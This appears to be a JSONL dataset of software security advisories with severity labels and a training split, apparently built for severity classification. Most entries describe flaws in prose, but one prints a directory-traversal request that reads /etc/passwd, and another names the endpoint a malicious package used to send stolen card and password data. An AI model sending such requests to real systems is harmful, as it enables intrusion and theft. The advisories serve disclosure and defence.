-{"id": "fa762739092830ecdf9b", "text": "Regular Expression Denial of Service in is-my-json-valid\n\nVersion of `is-my-json-valid` before 2.12.4 are vulnerable to regular expression denial of service (ReDoS) via the email validation function.\n\n## Recommendation\n\nUpdate to version 2.12.4 or later.", "text_raw": "Regular Expression Denial of Service in is-my-json-valid\n\n[Severity: HIGH]\n\nVersion of `is-my-json-valid` before 2.12.4 are vulnerable to regular expression denial of service (ReDoS) via the email validation function.\n\n\n## Recommendation\n\nUpdate to version 2.12.4 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "de23080fd626f3c2a517", "text": "Users able to query database metadata in Apache Superset\n\nIn Apache Incubator Superset before 0.31 user could query database metadata information from a database he has no access to, by using a specially crafted complex query.", "text_raw": "Users able to query database metadata in Apache Superset\n\n[Severity: MEDIUM]\n\nIn Apache Incubator Superset before 0.31 user could query database metadata information from a database he has no access to, by using a specially crafted complex query.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-02-26", "split": "train"}
-{"id": "e9cc0287a1b70975e731", "text": "receiving subscription objects with deleted session\n\nOriginal Message:\nHi,\n\nI create objects with one client with an ACL of all users with a specific column value. Thats working so far.\n\nThen I deleted the session object from one user to look if he can receive subscription objects and he can receive them.\nThe client with the deleted session cant create new objects, which Parse restricts right.\n\nThe LiveQueryServer doesnt detect deleted sessions after the websocket connection was established.\nThere should be a mechanism that checks in an specific interval if the session exists.\nI dont know if its true with expired sessions.\n\nAny solutions?\n\nParse version: 4.3.0\nParse js SDK version: 2.17\n\nSolution:\nHi guys.\n\nI've found and fixed the problem. It happens because there are two caches in place for the session token:\n\n- at Parse Server level, which, according with the docs, should be changed via cacheTTL option and defaults to 5 seconds;\n- at Parse Live Query level, which, according with the docs, should be changed via liveQueryServerOptions.cacheTimeout and defaults to 30 days.\n\nBut there are three problems:\n\n- cacheTTL has currently no effect over Live Query Server;\n- cacheTimeout also has currently no effect over Live Query Server;\n- cacheTimeout actually defaults to 1h.\n\nSo, currently, if you wait 1 hour after the session token was invalidated, the clients using the old session token are not able to receive the events.\n\nWhat I did:\n\n- Added a test case for the problem;\n- Fixed cacheTTL for Live Query Server;\n- Fixed cacheTimeout for Live Query Server;\n- Changed the cacheTimeout to default 5s;\n- Changed the docs to reflect the actual 5s default for cacheTimeout.", "text_raw": "receiving subscription objects with deleted session\n\n[Severity: MEDIUM]\n\nOriginal Message:\nHi,\n\nI create objects with one client with an ACL of all users with a specific column value. Thats working so far.\n\nThen I deleted the session object from one user to look if he can receive subscription objects and he can receive them.\nThe client with the deleted session cant create new objects, which Parse restricts right.\n\nThe LiveQueryServer doesnt detect deleted sessions after the websocket connection was established.\nThere should be a mechanism that checks in an specific interval if the session exists.\nI dont know if its true with expired sessions.\n\nAny solutions?\n\nParse version: 4.3.0\nParse js SDK version: 2.17\n\nSolution:\nHi guys.\n\nI've found and fixed the problem. It happens because there are two caches in place for the session token:\n\n- at Parse Server level, which, according with the docs, should be changed via cacheTTL option and defaults to 5 seconds;\n- at Parse Live Query level, which, according with the docs, should be changed via liveQueryServerOptions.cacheTimeout and defaults to 30 days.\n\nBut there are three problems:\n\n- cacheTTL has currently no effect over Live Query Server;\n- cacheTimeout also has currently no effect over Live Query Server;\n- cacheTimeout actually defaults to 1h.\n\nSo, currently, if you wait 1 hour after the session token was invalidated, the clients using the old session token are not able to receive the events.\n\nWhat I did:\n\n- Added a test case for the problem;\n- Fixed cacheTTL for Live Query Server;\n- Fixed cacheTimeout for Live Query Server;\n- Changed the cacheTimeout to default 5s;\n- Changed the docs to reflect the actual 5s default for cacheTimeout.\n\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-10-27", "split": "train"}
-{"id": "59e153f5761b754ded78", "text": "XStream is vulnerable to a Remote Command Execution attack\n\n### Impact\nThe vulnerability may allow a remote attacker has sufficient rights to execute commands of the host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.\n\n### Patches\nXStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.\n\n### Workarounds\nSee [workarounds](https://x-stream.github.io/security.html#workaround) for the different versions covering all CVEs.\n\n### References\nSee full information about the nature of the vulnerability and the steps to reproduce it in XStream's documentation for [CVE-2021-39144](https://x-stream.github.io/CVE-2021-39144.html).\n\n### Credits\n\nCeclin and YXXX from the Tencent Security Response Center found and reported the issue to XStream and provided the required information to reproduce it.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [XStream](https://github.com/x-stream/xstream/issues)\n* Email us at [XStream Google Group](https://groups.google.com/group/xstream-user)", "text_raw": "XStream is vulnerable to a Remote Command Execution attack\n\n[Severity: HIGH]\n\n### Impact\nThe vulnerability may allow a remote attacker has sufficient rights to execute commands of the host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.\n\n### Patches\nXStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.\n\n### Workarounds\nSee [workarounds](https://x-stream.github.io/security.html#workaround) for the different versions covering all CVEs.\n\n### References\nSee full information about the nature of the vulnerability and the steps to reproduce it in XStream's documentation for [CVE-2021-39144](https://x-stream.github.io/CVE-2021-39144.html).\n\n### Credits\n\nCeclin and YXXX from the Tencent Security Response Center found and reported the issue to XStream and provided the required information to reproduce it.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [XStream](https://github.com/x-stream/xstream/issues)\n* Email us at [XStream Google Group](https://groups.google.com/group/xstream-user)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "42dce8c48ae56e40b7fd", "text": "Data races in reffers\n\nARefss<'a, V> is a type that is assumed to contain objects that are Send + Sync.\n\nIn the affected versions of this crate, Send/Sync traits are unconditionally implemented for ARefss<'a, V>.\n\nBy using the ARefss::map() API, we can insert a !Send or !Sync object into ARefss<'a, V>. After that, it is possible to create a data race to the inner object of ARefss<'a, V>, which can lead to undefined behavior & memory corruption.\n\nThe flaw was corrected in commit `6dd7ca0` by adding trait bound V: Send + Sync to ARefss::map() API.", "text_raw": "Data races in reffers\n\n[Severity: MEDIUM]\n\nARefss<'a, V> is a type that is assumed to contain objects that are Send + Sync.\n\nIn the affected versions of this crate, Send/Sync traits are unconditionally implemented for ARefss<'a, V>.\n\nBy using the ARefss::map() API, we can insert a !Send or !Sync object into ARefss<'a, V>. After that, it is possible to create a data race to the inner object of ARefss<'a, V>, which can lead to undefined behavior & memory corruption.\n\nThe flaw was corrected in commit `6dd7ca0` by adding trait bound V: Send + Sync to ARefss::map() API.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "baaff05a197fdae883b5", "text": "HP Client Security Manager 8.3.4 Cross-Site Scripting Vulnerability", "text_raw": "HP Client Security Manager 8.3.4 Cross-Site Scripting Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2016-01-28", "split": "train"}
-{"id": "3fb07423a8b819f3f293", "text": "Cross-Site Scripting in Bootstrap Package\n\n### Problem\nIt has been discovered that rendering content in the website frontend is vulnerable to cross-site scripting. A valid backend user account is needed to exploit this vulnerability.\n\nThe following templates are affected by the vulnerability:\n\n* `Resources/Private/Partials/ContentElements/Carousel/Item/CallToAction.html`\n* `Resources/Private/Partials/ContentElements/Carousel/Item/Header.html`\n* `Resources/Private/Partials/ContentElements/Carousel/Item/Text.html`\n* `Resources/Private/Partials/ContentElements/Carousel/Item/TextAndImage.html`\n* `Resources/Private/Partials/ContentElements/Header/SubHeader.html`\n\nUsers of the extension, who have overwritten  the affected templates with custom code must manually apply the security fix as shown in [this Git commit](https://github.com/benjaminkott/bootstrap_package/commit/de3a568fc311d6712d9339643e51e8627c80530b).\n\n### Solution\nUpdate to version 7.1.2, 8.0.8, 9.0.4, 9.1.3, 10.0.10 or 11.0.3 of the Bootstrap Package that fix the problem described.\n\nUpdated version are available from the TYPO3 extension manager, Packagist and at https://extensions.typo3.org/extension/download/bootstrap_package/.\n\n### Credits\nThanks to TYPO3 security team member Oliver Hader who reported and fixed the issue.", "text_raw": "Cross-Site Scripting in Bootstrap Package\n\n[Severity: MEDIUM]\n\n### Problem\nIt has been discovered that rendering content in the website frontend is vulnerable to cross-site scripting. A valid backend user account is needed to exploit this vulnerability.\n\nThe following templates are affected by the vulnerability:\n\n* `Resources/Private/Partials/ContentElements/Carousel/Item/CallToAction.html`\n* `Resources/Private/Partials/ContentElements/Carousel/Item/Header.html`\n* `Resources/Private/Partials/ContentElements/Carousel/Item/Text.html`\n* `Resources/Private/Partials/ContentElements/Carousel/Item/TextAndImage.html`\n* `Resources/Private/Partials/ContentElements/Header/SubHeader.html`\n\nUsers of the extension, who have overwritten  the affected templates with custom code must manually apply the security fix as shown in [this Git commit](https://github.com/benjaminkott/bootstrap_package/commit/de3a568fc311d6712d9339643e51e8627c80530b).\n\n### Solution\nUpdate to version 7.1.2, 8.0.8, 9.0.4, 9.1.3, 10.0.10 or 11.0.3 of the Bootstrap Package that fix the problem described.\n\nUpdated version are available from the TYPO3 extension manager, Packagist and at https://extensions.typo3.org/extension/download/bootstrap_package/.\n\n### Credits\nThanks to TYPO3 security team member Oliver Hader who reported and fixed the issue.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-29", "split": "train"}
-{"id": "0b229ea6b2935750186c", "text": "up.time 7.5.0 Arbitrary File Disclose And Delete Exploit", "text_raw": "up.time 7.5.0 Arbitrary File Disclose And Delete Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2015-08-19", "split": "train"}
-{"id": "d6ff8483982a289ba267", "text": "Cross-site Scripting in invenio-communities\n\n## Cross-Site Scripting (XSS) vulnerability in Jinja templates\n\n### Impact\nA Cross-Site Scripting (XSS) vulnerability was discovered in two Jinja templates in the Invenio-Communities module. The vulnerability allows a user to create a new community and include script element tags inside the description and page fields.\n\n### Patches\nThe problem has been patched in v1.0.0a20.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [info@inveniosoftware.org](mailto:info@inveniosoftware.org)", "text_raw": "Cross-site Scripting in invenio-communities\n\n[Severity: MEDIUM]\n\n## Cross-Site Scripting (XSS) vulnerability in Jinja templates\n\n### Impact\nA Cross-Site Scripting (XSS) vulnerability was discovered in two Jinja templates in the Invenio-Communities module. The vulnerability allows a user to create a new community and include script element tags inside the description and page fields. \n\n### Patches\nThe problem has been patched in v1.0.0a20.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [info@inveniosoftware.org](mailto:info@inveniosoftware.org)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-07-16", "split": "train"}
-{"id": "5f2640a4c0031adcf0ef", "text": "Incorrect Authorization in Apache Ozone\n\nIn Apache Ozone versions prior to 1.2.0, Container related Datanode requests of Ozone Datanode were not properly authorized and can be called by any client.", "text_raw": "Incorrect Authorization in Apache Ozone\n\n[Severity: CRITICAL]\n\nIn Apache Ozone versions prior to 1.2.0, Container related Datanode requests of Ozone Datanode were not properly authorized and can be called by any client.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-11-23", "split": "train"}
-{"id": "95556432b61eeac197d6", "text": "Regular Expression Denial of Service in jquery-validation\n\nThe GitHub Security Lab team has identified potential security vulnerabilities in jquery.validation.\n\nThe project contains one or more regular expressions that are vulnerable to ReDoS (Regular Expression Denial of Service)\n\nThis issue was discovered and reported by GitHub team member @erik-krogh (Erik Krogh Kristensen).", "text_raw": "Regular Expression Denial of Service in jquery-validation\n\n[Severity: HIGH]\n\nThe GitHub Security Lab team has identified potential security vulnerabilities in jquery.validation.\n\nThe project contains one or more regular expressions that are vulnerable to ReDoS (Regular Expression Denial of Service)\n\nThis issue was discovered and reported by GitHub team member @erik-krogh (Erik Krogh Kristensen).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-01-13", "split": "train"}
-{"id": "0a5f5cc470398239e808", "text": "Out of bounds read in Pillow\n\nAn issue was discovered in Pillow before 8.2.0. In `TiffDecode.c`, there is an out-of-bounds read in `TiffreadRGBATile` via invalid tile boundaries.", "text_raw": "Out of bounds read in Pillow\n\n[Severity: HIGH]\n\nAn issue was discovered in Pillow before 8.2.0. In `TiffDecode.c`, there is an out-of-bounds read in `TiffreadRGBATile` via invalid tile boundaries.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "0d5822652a6a675aa3b3", "text": "Directory Traversal in Babel\n\nBabel.Locale in Babel before 2.9.1 allows attackers to load arbitrary locale .dat files (containing serialized Python objects) via directory traversal, leading to code execution.", "text_raw": "Directory Traversal in Babel\n\n[Severity: HIGH]\n\nBabel.Locale in Babel before 2.9.1 allows attackers to load arbitrary locale .dat files (containing serialized Python objects) via directory traversal, leading to code execution.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-21", "split": "train"}
-{"id": "433de1c48fef3f85e03d", "text": "Malicious Package in @impala/bmap\n\nVersion 1.0.3 of `@impala/bmap` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nIf version 1.0.3 of this module is found installed you will want to replace it with a version before or after 1.0.3. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.", "text_raw": "Malicious Package in @impala/bmap\n\n[Severity: CRITICAL]\n\nVersion 1.0.3 of `@impala/bmap` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n## Recommendation\n\nIf version 1.0.3 of this module is found installed you will want to replace it with a version before or after 1.0.3. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "f979e2768491c4fa9ce6", "text": "HTTPS MitM vulnerability due to lack of hostname verification\n\nWhen used on Windows platforms, all versions of Hyper prior to 0.9.4 did not perform hostname verification when making HTTPS requests.\n\nThis allows an attacker to perform MitM attacks by preventing any valid CA-issued certificate, even if there's a hostname mismatch.\n\nThe problem was addressed by leveraging rust-openssl's built-in support for hostname verification.", "text_raw": "HTTPS MitM vulnerability due to lack of hostname verification\n\n[Severity: MEDIUM]\n\nWhen used on Windows platforms, all versions of Hyper prior to 0.9.4 did not perform hostname verification when making HTTPS requests.\n\nThis allows an attacker to perform MitM attacks by preventing any valid CA-issued certificate, even if there's a hostname mismatch.\n\nThe problem was addressed by leveraging rust-openssl's built-in support for hostname verification.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "255aea61fdb6c12b89f8", "text": "Directory Traversal in shenliru\n\nAffected versions of `shenliru` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in shenliru\n\n[Severity: HIGH]\n\nAffected versions of `shenliru` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "021bb71c249a7c0e1d43", "text": "redis-store deserializes untrusted data\n\nRedis-store prior to 1.4.0 allows unsafe objects to be loaded from redis", "text_raw": "redis-store deserializes untrusted data\n\n[Severity: CRITICAL]\n\nRedis-store prior to 1.4.0 allows unsafe objects to be loaded from redis", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2017-12-06", "split": "train"}
-{"id": "7f19b805c2abac8c6aeb", "text": "Improper Input Validation in ansible\n\nAn input validation vulnerability was found in Ansible's mysql_user module before 2.2.1.0, which may fail to correctly change a password in certain circumstances. Thus the previous password would still be active when it should have been changed.", "text_raw": "Improper Input Validation in ansible\n\n[Severity: MEDIUM]\n\nAn input validation vulnerability was found in Ansible's mysql_user module before 2.2.1.0, which may fail to correctly change a password in certain circumstances. Thus the previous password would still be active when it should have been changed.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-10", "split": "train"}
-{"id": "5ca90ac2f2e3606d49b1", "text": "Prototype Pollution in Proto\n\nThis affects all versions of package Proto. It is possible to inject pollute the object property of an application using Proto by leveraging the merge function.", "text_raw": "Prototype Pollution in Proto\n\n[Severity: HIGH]\n\nThis affects all versions of package Proto. It is possible to inject pollute the object property of an application using Proto by leveraging the merge function.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-02", "split": "train"}
-{"id": "b0375b3fbb3aaf223084", "text": "Cross-site scripting (XSS) from field and configuration text displayed in the Panel\n\nOn Saturday, @hdodov reported that the Panel's `ListItem` component (used in the pages and files section for example) displayed HTML in page titles as it is. This could be used for cross-site scripting (XSS) attacks.\n\nWe used his report as an opportunity to find and fix XSS issues related to dynamic site content throughout the Panel codebase.\n\n### Impact\n\nCross-site scripting (XSS) is a type of vulnerability that allows to execute any kind of JavaScript code inside the Panel session of other users. In the Panel, a harmful script can for example trigger requests to Kirby's API with the permissions of the victim.\n\nSuch vulnerabilities are critical if you might have potential attackers in your group of authenticated Panel users. They can escalate their privileges if they get access to the Panel session of an admin user. Depending on your site, other JavaScript-powered attacks are possible.\n\nVisitors without Panel access can only use this attack vector if your site allows changing site data from a frontend form (for example user self-registration or the creation of pages from a contact or other frontend form). If you validate or sanitize the provided form data, you are already protected against such attacks by external visitors.\n\n### Patches\n\n[Kirby 3.5.7](https://github.com/getkirby/kirby/releases/tag/3.5.7) contains patches for the following issues we found during our investigation:\n\n- Some translated error and info messages contain placeholders to dynamically insert information like page titles or filenames. While the translation strings are allowed to contain HTML formatting, the dynamic data needs to be protected against XSS attacks. Kirby 3.5.7 now escapes the dynamic data.\n- Our `Box` component used to display information for the user supports HTML output for specific use-cases. We found out that the dialogs used in the `files`, `pages` and `users` fields as well as the `fields` section used it to display raw exception or error messages. These messages are now escaped.\n- The users and settings views display user and language data using the `ListItem` component that supports HTML. We now escape the dynamic data before it is passed to the `ListItem` component.\n- Some of our sections and fields support HTML for their `text`, `help` and/or `info` properties. This allows custom formatting from the blueprint, but also caused the original issue reported to us that allowed to inject HTML code from the content itself. Kirby 3.5.7 now escapes the default `text` displayed by the `files` and `pages` sections (filename/page title), the `files`, `pages` and `users` fields (filename/page title/username) and by query-based `checkboxes`, `radio`, `tags` and `multiselect` fields (default text depending on the used query).\n\n**Note:** Custom `text`, `help` and `info` queries in blueprints are *not* escaped in 3.5.7. We support HTML in these properties because there are valid use-cases for custom formatting. However there can still be XSS vulnerabilities depending on your use of these properties. In Kirby 3.6 we will provide a new feature that will make it much easier to control whether you want to allow HTML from query placeholders.", "text_raw": "Cross-site scripting (XSS) from field and configuration text displayed in the Panel\n\n[Severity: HIGH]\n\nOn Saturday, @hdodov reported that the Panel's `ListItem` component (used in the pages and files section for example) displayed HTML in page titles as it is. This could be used for cross-site scripting (XSS) attacks.\n\nWe used his report as an opportunity to find and fix XSS issues related to dynamic site content throughout the Panel codebase.\n\n### Impact\n\nCross-site scripting (XSS) is a type of vulnerability that allows to execute any kind of JavaScript code inside the Panel session of other users. In the Panel, a harmful script can for example trigger requests to Kirby's API with the permissions of the victim.\n\nSuch vulnerabilities are critical if you might have potential attackers in your group of authenticated Panel users. They can escalate their privileges if they get access to the Panel session of an admin user. Depending on your site, other JavaScript-powered attacks are possible.\n\nVisitors without Panel access can only use this attack vector if your site allows changing site data from a frontend form (for example user self-registration or the creation of pages from a contact or other frontend form). If you validate or sanitize the provided form data, you are already protected against such attacks by external visitors.\n\n### Patches\n\n[Kirby 3.5.7](https://github.com/getkirby/kirby/releases/tag/3.5.7) contains patches for the following issues we found during our investigation:\n\n- Some translated error and info messages contain placeholders to dynamically insert information like page titles or filenames. While the translation strings are allowed to contain HTML formatting, the dynamic data needs to be protected against XSS attacks. Kirby 3.5.7 now escapes the dynamic data.\n- Our `Box` component used to display information for the user supports HTML output for specific use-cases. We found out that the dialogs used in the `files`, `pages` and `users` fields as well as the `fields` section used it to display raw exception or error messages. These messages are now escaped.\n- The users and settings views display user and language data using the `ListItem` component that supports HTML. We now escape the dynamic data before it is passed to the `ListItem` component.\n- Some of our sections and fields support HTML for their `text`, `help` and/or `info` properties. This allows custom formatting from the blueprint, but also caused the original issue reported to us that allowed to inject HTML code from the content itself. Kirby 3.5.7 now escapes the default `text` displayed by the `files` and `pages` sections (filename/page title), the `files`, `pages` and `users` fields (filename/page title/username) and by query-based `checkboxes`, `radio`, `tags` and `multiselect` fields (default text depending on the used query).\n\n**Note:** Custom `text`, `help` and `info` queries in blueprints are *not* escaped in 3.5.7. We support HTML in these properties because there are valid use-cases for custom formatting. However there can still be XSS vulnerabilities depending on your use of these properties. In Kirby 3.6 we will provide a new feature that will make it much easier to control whether you want to allow HTML from query placeholders.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-07-02", "split": "train"}
-{"id": "0e614a88dcfc1f068b09", "text": "Potential remote code execution in Apache Tomcat\n\nWhen using Apache Tomcat versions 10.0.0-M1 to 10.0.0-M4, 9.0.0.M1 to 9.0.34, 8.5.0 to 8.5.54 and 7.0.0 to 7.0.103 if a) an attacker is able to control the contents and name of a file on the server; and b) the server is configured to use the PersistenceManager with a FileStore; and c) the PersistenceManager is configured with sessionAttributeValueClassNameFilter=\"null\" (the default unless a SecurityManager is used) or a sufficiently lax filter to allow the attacker provided object to be deserialized; and d) the attacker knows the relative file path from the storage location used by FileStore to the file the attacker has control over; then, using a specifically crafted request, the attacker will be able to trigger remote code execution via deserialization of the file under their control. Note that all of conditions a) to d) must be true for the attack to succeed.", "text_raw": "Potential remote code execution in Apache Tomcat\n\n[Severity: HIGH]\n\nWhen using Apache Tomcat versions 10.0.0-M1 to 10.0.0-M4, 9.0.0.M1 to 9.0.34, 8.5.0 to 8.5.54 and 7.0.0 to 7.0.103 if a) an attacker is able to control the contents and name of a file on the server; and b) the server is configured to use the PersistenceManager with a FileStore; and c) the PersistenceManager is configured with sessionAttributeValueClassNameFilter=\"null\" (the default unless a SecurityManager is used) or a sufficiently lax filter to allow the attacker provided object to be deserialized; and d) the attacker knows the relative file path from the storage location used by FileStore to the file the attacker has control over; then, using a specifically crafted request, the attacker will be able to trigger remote code execution via deserialization of the file under their control. Note that all of conditions a) to d) must be true for the attack to succeed.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-05-21", "split": "train"}
-{"id": "8303671489e145326c94", "text": "Use of Potentially Dangerous Function in mixme\n\n### Impact\n\nIn Node.js mixme v0.5.0, an attacker can add or alter properties of an object via 'proto' through the mutate() and merge() functions. The polluted attribute will be directly assigned to every object in the program. This will put the availability of the program at risk causing a potential denial of service (DoS).\n\n### Patches\nThe problem is corrected starting with version 0.5.1.\n\n### References\nIssue: https://github.com/adaltas/node-mixme/issues/1\nCommit: https://github.com/adaltas/node-mixme/commit/cfd5fbfc32368bcf7e06d1c5985ea60e34cd4028", "text_raw": "Use of Potentially Dangerous Function in mixme\n\n[Severity: HIGH]\n\n### Impact\n\nIn Node.js mixme v0.5.0, an attacker can add or alter properties of an object via 'proto' through the mutate() and merge() functions. The polluted attribute will be directly assigned to every object in the program. This will put the availability of the program at risk causing a potential denial of service (DoS).\n\n### Patches\nThe problem is corrected starting with version 0.5.1.\n\n### References\nIssue: https://github.com/adaltas/node-mixme/issues/1\nCommit: https://github.com/adaltas/node-mixme/commit/cfd5fbfc32368bcf7e06d1c5985ea60e34cd4028\n\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "6415ace01d5639f243fe", "text": "Deserialization of Untrusted Data in Tendenci\n\nTendenci 12.0.10 allows unrestricted deserialization in apps\\helpdesk\\views\\staff.py.", "text_raw": "Deserialization of Untrusted Data in Tendenci\n\n[Severity: CRITICAL]\n\nTendenci 12.0.10 allows unrestricted deserialization in apps\\helpdesk\\views\\staff.py.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-06-18", "split": "train"}
-{"id": "9421ec69dec649a39018", "text": "Silently Runs Cryptocoin Miner in hooka-tools\n\nAffected versions of `hooka-tools` were compromised and modified to silently run a cryptocoin miner in the background.\n\nAll affected versions have been unpublished from the npm registry.\n\n## Recommendation\n\nWhile this module has been unpublished, some versions may exist in mirrors or caches. Do not install this module, and remove it if found.", "text_raw": "Silently Runs Cryptocoin Miner in hooka-tools\n\n[Severity: LOW]\n\nAffected versions of `hooka-tools` were compromised and modified to silently run a cryptocoin miner in the background.\n\nAll affected versions have been unpublished from the npm registry.\n\n\n## Recommendation\n\nWhile this module has been unpublished, some versions may exist in mirrors or caches. Do not install this module, and remove it if found.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "8bf1403d2a0c91566039", "text": "Rancher Vulnerable to Cross-site Request Forgery (CSRF)\n\nRancher 2 through 2.2.4 is vulnerable to a Cross-Site Websocket Hijacking attack that allows an exploiter to gain access to clusters managed by Rancher. The attack requires a victim to be logged into a Rancher server, and then to access a third-party site hosted by the exploiter. Once that is accomplished, the exploiter is able to execute commands against the cluster's Kubernetes API with the permissions and identity of the victim.", "text_raw": "Rancher Vulnerable to Cross-site Request Forgery (CSRF)\n\n[Severity: HIGH]\n\nRancher 2 through 2.2.4 is vulnerable to a Cross-Site Websocket Hijacking attack that allows an exploiter to gain access to clusters managed by Rancher. The attack requires a victim to be logged into a Rancher server, and then to access a third-party site hosted by the exploiter. Once that is accomplished, the exploiter is able to execute commands against the cluster's Kubernetes API with the permissions and identity of the victim.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "2ae1ab598dcca14b702e", "text": "Uncontrolled Resource Consumption in firebase\n\nThis affects the package @firebase/util before 0.3.4. This vulnerability relates to the deepExtend function within the DeepCopy.ts file. Depending on if user input is provided, an attacker can overwrite and pollute the object prototype of a program.", "text_raw": "Uncontrolled Resource Consumption in firebase\n\n[Severity: MEDIUM]\n\nThis affects the package @firebase/util before 0.3.4. This vulnerability relates to the deepExtend function within the DeepCopy.ts file. Depending on if user input is provided, an attacker can overwrite and pollute the object prototype of a program.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "ec872804d3edea1c819f", "text": "Unrestricted File Upload in ShowDoc v2.9.5\n\nUnrestricted File Upload in ShowDoc v2.9.5 allows remote attackers to execute arbitrary code via the 'file_url' parameter in the component AdminUpdateController.class.php'.", "text_raw": "Unrestricted File Upload in ShowDoc v2.9.5\n\n[Severity: CRITICAL]\n\nUnrestricted File Upload in ShowDoc v2.9.5 allows remote attackers to execute arbitrary code via the 'file_url' parameter in the component AdminUpdateController.class.php'.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-09-09", "split": "train"}
-{"id": "3f3a1e8dfa6b0411b43f", "text": "The validator module before 1.1.0 for Node.js allows remote attackers to bypass the cross-site scripting (XSS) filter via vectors related to UI redressing.", "text_raw": "Moderate severity vulnerability that affects validator\n\n[Severity: MEDIUM]\n\nThe validator module before 1.1.0 for Node.js allows remote attackers to bypass the cross-site scripting (XSS) filter via vectors related to UI redressing.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "392b6f0b5924ca6b101b", "text": "Prototype Pollution in getsetdeep\n\nAll versions of `getsetdeep` are vulnerable to prototype pollution. The `setDeep()` function does not restrict the modification of an Object's prototype, which may allow an attacker to add or modify an existing property that will exist on all objects.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Prototype Pollution in getsetdeep\n\n[Severity: HIGH]\n\nAll versions of `getsetdeep` are vulnerable to prototype pollution. The `setDeep()` function does not restrict the modification of an Object's prototype, which may allow an attacker to add or modify an existing property that will exist on all objects.\n\n\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "b16b689a5d32ec462a10", "text": "Remote code execution in verot/class.upload.php\n\nclass.upload.php in verot.net class.upload before 1.0.3 and 2.x before 2.0.4, as used in the K2 extension for Joomla! and other products, omits .phar from the set of dangerous file extensions.", "text_raw": "Remote code execution in verot/class.upload.php\n\n[Severity: CRITICAL]\n\nclass.upload.php in verot.net class.upload before 1.0.3 and 2.x before 2.0.4, as used in the K2 extension for Joomla! and other products, omits .phar from the set of dangerous file extensions.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-01-16", "split": "train"}
